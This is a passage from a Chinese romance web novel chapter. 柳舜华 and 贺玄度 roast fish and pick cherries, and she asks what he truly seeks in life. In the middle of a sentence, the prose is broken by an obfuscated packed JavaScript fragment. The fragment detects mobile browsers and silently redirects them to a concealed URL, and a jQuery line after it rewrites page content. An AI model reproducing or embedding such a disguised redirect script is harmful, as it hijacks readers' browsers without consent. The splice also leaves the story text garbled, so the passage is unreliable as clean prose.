刘九生瞥了他一眼,“贺二公子不是说吃鱼麻烦,怎么还能瞧上这种俗物?” 贺玄度哼了一声,“你不是说要去野猎,这是野猎?” 刘九生淡声回应,“你还说想自己好好待着呢,怎么,我们都不是人?” 柳棠华看到两人窃窃私语,笑道:“你们在说什么呢?” 刘九生笑笑,“随便聊聊,贺二公子说这鱼很肥,他都有些馋了。” 柳棠华摸摸肚子,“贺二公子这一说,我还真有些饿了。回到城里要半个多时辰呢,不如咱们生火将鱼烤了垫垫肚子如何?” 贺玄度朝刘九生翻个白眼,正要拒绝,就听柳舜华道:“这里山清水秀,野炊确实别有一番风味。” 贺玄度转过头,换上一副笑脸,“这个提议好,以天为盖,以地为席,畅快自在。” 几人在山脚下溪流处落脚,刘九生担心贺玄度的肩膀上的伤,主动揽起捡材的活。趁着柳舜华忙活之际,柳棠华黏着刘九生,一起进了林中。 柳棠华抓鱼上瘾,一口气捉了四条,个个肥美,活蹦乱跳地扑腾着。 贺玄度望着地上的鱼,眉头紧锁。 柳舜华见他如此,料定他不会杀鱼,问他要了随身携带的短刀,随手将鱼提到一边。 贺玄度初时未反应过来,见她卷起袖子,忙走上前,“柳舜华,你不会是想动手杀鱼吧?” 柳舜华抬头,“自然,你背上的伤才刚好,又做不惯这些,当然是我杀了。” 柳舜华幼时常随表哥们一起下河,杀鱼这种事,做起来也算得心应手。嫁进相府后,独居在西竹院,临近一片荷塘,她同芳草、妙灵没少偷偷捉鱼烤来吃。只是后来认识了贺玄度,他总是一袭白衣不染烟尘,她生怕在他面前一不小心便显出自己的粗鄙,这才刻意收了性子。至于如今的贺玄度,他根本不会在意这些,她倒也省心。 贺玄度伸手在她额头上一点,顺手拿过她手中的刀,“谁跟你说我不会的?你让开,有我在,这种粗活哪轮不到你。” 柳舜华一愣,她实在无法想象,贺玄度一个养尊处优的相府公子,竟真会做这些粗活。 贺玄度将鱼拖到岸边的石块上,转头道:“这个……有些血腥,你还是别看的好。溪边有些水芹,不如你先去采一些回来。” 柳舜华应着往溪边走,回头看时,只见贺玄度半蹲在石板前,手中拿着刀,一副视死如归的模样。 等采完水芹,回到岸边,贺玄度依旧保持着方才的姿势。 待走近一瞧,贺玄度脸上被溅了一抹血迹,身上也是血迹斑斑,狼狈到了极点。 听到声响,贺玄度抬头,一脸尴尬,“你这么快就回来了?” 柳舜华轻笑一声,从怀中掏出手帕,将他脸上的血迹擦干。 不等她将手帕收回,贺玄度顺势抓住帕子一角,握在掌心。 他嬉笑道:“弄脏了你的帕子,怎么还能让你收回去,改天我再送一条新的给你。” 柳舜华垂下眼眸,低头将他手中的短刀抽出,笑道:“还是我来吧,若是等你贺大公子杀好,怕是要等到明年了。” 贺玄度狡辩,“不是我不会,是这个鱼它太滑了,我根本握不住。你等我……” 话未说完,只见柳舜华举起刀背,将鱼敲晕,手起刀落间,一条鱼已被她收拾得妥妥帖帖。 她一整个动作下来,行云流水,一气呵成。 贺玄度看得目瞪口呆。 柳舜华抬头,“杀鱼有些血腥,那边有棵野胡椒树,不如你摘一些来。” 这话听着太耳熟,贺玄度摸着脖子,讪讪离开。 等他摘完野胡椒回来的时候,柳棠华与刘九生正抱着一堆碎树枝往回走。 刘九生与柳棠华见柳舜华已经处理好了所有的鱼,瞬间明白怎么回事,十分鄙夷地瞟了贺玄度一眼。 贺玄度被他们看得心虚,硬着头皮道:“你们看什么看,我这是为了去摘野胡椒,可不是故意将粗活丢给柳舜华的。” 柳舜华将野胡椒与水芹揉碎,抹在鱼腹内,抬头笑道:“是啊,野胡椒长得高,我够不到,多亏了贺玄度。” 贺玄度在柳舜华一声声夸赞中直起了头。 烤鱼的架子很快搭起来,几人齐心张罗下,鱼总算是烤上了。 鱼太肥,烤好尚需一段时辰。 柳棠华坐着无聊,拉着刘九生,“回来时我看到溪边有棵樱桃树,上面的樱桃可大了,咱们去摘一些吧。” 刘九生点头,“好,我陪你去。” 柳棠华起身,朝柳棠华笑道:“姐姐,你要一起吗?” 柳舜华瞧着两人如此亲昵,正想着要如何阻止,就听贺玄度在一旁哼道:“又不是野猴子,上什么树。” 柳棠华一听,登时不快,不知为何,她总觉得今日贺二公子对她敌意有点大。 刘九生瞥了贺玄度一眼,“别理他,咱们走。” 柳棠华笑着点头,“嗯,咱们多摘一些,姐姐最喜欢吃樱桃了。” “刘九生”贺玄度及时叫住他们,“你不留下来烤鱼,是想让我烤吗,也不怕我烤糊了。” 正在兴头上的柳棠华听他这话,开始犹豫起来,比起樱桃,还是烤鱼更有诱惑。 她咬唇道:“要不,咱们还是再等等吧。” 看他们坐下,贺玄度慢慢凑到柳舜华身边,“你都忙这许久了,不如起身歇歇,我带你去摘樱桃如何?” 柳棠华脸一黑,方才还说他们是野猴子,这会倒上赶着献殷勤。 见她没有要起的意思,贺玄度央求她,“去吧,蹲着容易头晕。” 他似笑非笑,一双桃花眼弯弯,身后湖面泛起淡淡的涟漪,波光粼粼,不及他眼底一点缱绻星光。 柳舜华心内一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15045767|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵悸动,缓缓起身,柔声道:“走吧。” 贺玄度走在前头,细心地清理好杂乱的枯树枝。山间崎岖不平,他不时回头看着柳舜华,生怕她不小心摔了。 时值仲夏,山中草木葱茏,清溪蜿蜒而过,一泓深碧。溪水边上,一串挨着一串的果实挂在枝头,圆润饱满,红玛瑙似的,日光下熠熠夺目。 柳舜华抬头望着树上的樱桃,满眼欣喜。 贺玄度走过去,一抬手,挑了串最大的递给柳舜华,“尝尝。” 柳舜华接过樱桃,拿衣袖擦了擦,放到嘴里一尝,果真是清甜无比。 贺玄度轻轻一笑,取下佩囊,将里面的香料悉数倒出。 风一吹,那些香料飘飘散散,柳舜华嗅出是十分罕见的荼芜香。 荼芜香由西域附属国进贡而来,皇上只少量赏赐一些重臣,便是宫中妃嫔都未必能用。 柳舜华觉得可惜,“好好的,你倒掉做什么?” 贺玄度将佩囊翻过来,拍打掉上面的碎屑,“装樱桃。樱桃娇嫩,难不成还像打枣一样扔在地上。你先吃着,我上去给你摘些大的来。” 说罢,攀着一根粗枝,一跃跳到树上。 偶尔碰到几串特别鲜亮硕大的,便兴奋指给柳舜华。 “你看,这个多大。” “你看,这个好红。” 茂密的枝条间,贺玄度身形灵活,来回穿梭,像松鼠认真屯着过冬的松子。 柳舜华仰头看着他,恍觉有种现世安稳的平和。 风带着山间的清爽,吹动着贺玄度的衣襟,绿枝中露出的半张脸,日光落在他脸上,皎若云中月,朦胧得不似真人。 这一瞬,柳舜华无比庆幸贺玄度的腿还未断,能自由行走,策马奔腾,纵情山水间。 这样的生活,正是上辈子的贺玄度渴慕的。 人生重来,她有幸见到了一个不一样的,热烈飞扬的贺玄度。 怔忡许久,柳舜华还是缓缓开口,问了一直藏在心底的那句话。 “贺玄度,你这一生,所求是什么?” 贺玄度摘樱桃的手顿了一下,“怎么突然这么问?” 柳舜华缓声道:“都尉府那夜,我看得分明,你并非庸才,可你为何却要终日做纨绔相?” 贺玄度将佩囊收紧,靠在树干上,透过繁密的枝桠望向天穹一角,懒懒道:“我本就是个无用的纨绔,不过活一天过一天罢了。” 柳舜华摇头,“不,你不是。都尉府抵御郑刺史的叛军,全靠你指挥得当,才拖到万都尉前来援救。若非有你,都尉府危矣。” 贺玄度淡笑,“不过是运气好罢了。” 柳舜华直言道:“万都尉能这么快赶来支援,明显是早有准备。贺玄度,我知道,你就是万都尉留下的诱饵,故意引郑刺史行动。若你真的是个不堪重用的纨绔,万都尉怎么可能把如此重要之事交于你?” 她看向贺玄度,“贺玄度,你到底,是怎么样的人?” 山间流云骤遏,树梢风止,隔着一片浓枝,两人看不清彼此。 贺玄度久久无声,一双眼中满是对世俗寒凉的失望。 许久,他才淡声道:“我只是一个被抛弃的无用之人。”